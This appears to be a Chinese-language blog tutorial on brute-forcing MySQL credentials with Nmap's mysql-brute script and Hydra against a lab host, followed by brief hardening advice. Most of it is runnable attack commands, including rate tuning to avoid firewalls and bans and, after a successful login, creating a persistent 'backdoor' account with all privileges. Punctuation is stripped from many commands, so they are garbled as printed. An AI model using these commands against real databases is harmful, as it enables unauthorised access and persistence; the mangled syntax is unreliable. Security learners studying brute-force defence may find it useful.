1. 当Nmap脚本报错No valid accounts found时该怎么办第一次用Nmap的mysql-brute脚本时看到Accounts: No valid accounts found这个报错我差点以为是自己哪里操作错了。后来才发现这其实是MySQL服务配置的典型症状——就像你拿着正确的钥匙却发现门被反锁了一样。这个报错背后通常藏着三个罪魁祸首远程访问限制就像小区门禁MySQL默认只允许本地访问localhost字典质量问题好比拿错钥匙串你的密码字典可能不包含真实密码服务特殊配置有些MySQL版本会限制连接频率就像银行输错密码会锁定账户我遇到过最典型的案例是用PHPStudy搭建的MySQL环境。当时用Kali执行爆破命令nmap --scriptmysql-brute --script-args userdbusers.txt,passdbpasswords.txt 192.168.1.100 -p 3306返回的就是这个令人沮丧的报错。后来发现PHPStudy安装的MySQL默认绑定了127.0.0.1就像把保险箱锁在了自家卧室。2. 配置MySQL允许远程连接的正确姿势2.1 环境准备要点在开始修改配置前建议先做个健康检查确认MySQL服务正常运行本地可以连接检查防火墙是否放行3306端口确保你有管理员权限的数据库账号我常用这个命令测试本地连接mysql -u root -p如果连本地都连不上就别想着远程了。2.2 修改MySQL配置的实战步骤第一步找到MySQL的配置文件Windows下通常在安装目录的my.iniLinux一般在/etc/mysql/my.cnf第二步关键配置修改找到[mysqld]段确保有以下配置bind-address 0.0.0.0 skip-networking off这相当于告诉MySQL请打开大门迎接所有客人。第三步授权远程访问登录MySQL后执行这些命令GRANT ALL PRIVILEGES ON *.* TO root% IDENTIFIED BY 你的密码 WITH GRANT OPTION; FLUSH PRIVILEGES;这个操作就像给远程用户发了张VIP通行证。注意生产环境千万不要用%这么开放的权限应该限制特定IP2.3 验证配置是否生效改完配置后我喜欢用这个命令检查用户权限SELECT host, user FROM mysql.user;如果看到有%的记录说明配置成功了。但有时候还需要重启MySQL服务才能生效就像有些软件需要重启才能应用新设置。3. Nmap爆破MySQL的进阶技巧3.1 优化字典的实战经验遇到过几次爆破失败后我发现字典质量比数量更重要。这是我的字典优化心得常用密码TOP100必须包含root/rootadmin/admin空密码用户名当密码行业特定密码金融系统常用finance/bank等CMS系统常用wp_/joomla_前缀智能生成规则crunch 6 8 1234567890 -o num.dict这个命令可以生成6-8位纯数字组合3.2 Nmap脚本的高级参数除了基本的爆破mysql-brute脚本还有些隐藏技能nmap --scriptmysql-brute \ --script-args brute.credfilecreds.txt,brute.delay300ms \ 192.168.1.100 -p 3306brute.delay控制爆破速度避免触发防护credfile使用用户名:密码组合的字典brute.retries连接失败时的重试次数实测发现设置300ms的延迟既能保持速度又不容易被防火墙拦截。4. Hydra爆破MySQL的完整指南4.1 Hydra的基本使用姿势当Nmap不给力时Hydra是我的第二选择。基本命令结构像这样hydra -L users.txt -P passwords.txt mysql://192.168.1.100但这样直接跑很容易被ban我通常会加些参数hydra -L users.txt -P passwords.txt \ -t 4 -w 30 -e nsr -vV \ mysql://192.168.1.100-t 4限制4个线程温柔一点-w 30超时设为30秒-e nsr尝试空密码、用户名当密码等组合-vV显示详细过程4.2 解决Hydra常见问题问题1连接被重置解决方案降低线程数增加延迟hydra -t 2 -W 1 ...问题2反复提示认证错误可能是协议指定错了试试明确指定端口hydra -s 3306 ...问题3爆破速度太慢可以先用小字典测试或者使用hydra -f ...找到第一个可用密码就停止5. 从渗透到防护的完整闭环5.1 渗透成功后的操作当终于看到Valid credentials时别急着庆祝。我通常会做这几件事信息收集SHOW DATABASES; SELECT user, host FROM mysql.user;权限提升 检查是否有写权限SELECT File_priv FROM mysql.user WHERE userroot;持久化 创建后门账号CREATE USER backdoor% IDENTIFIED BY complexpass; GRANT ALL PRIVILEGES ON *.* TO backdoor%;5.2 防护建议作为安全从业者也要知道如何防御这类攻击密码策略长度至少12位包含大小写、数字、特殊字符定期更换网络防护bind-address 内网IP skip-networking on登录限制ALTER USER rootlocalhost IDENTIFIED WITH mysql_native_password BY 新密码 PASSWORD EXPIRE INTERVAL 90 DAY;监控措施启用MySQL日志设置登录失败锁定监控异常连接在最近一次内部测试中我发现配置了fail2ban的MySQL服务器成功阻止了98%的爆破尝试。这提醒我们安全是个系统工程需要多层防护。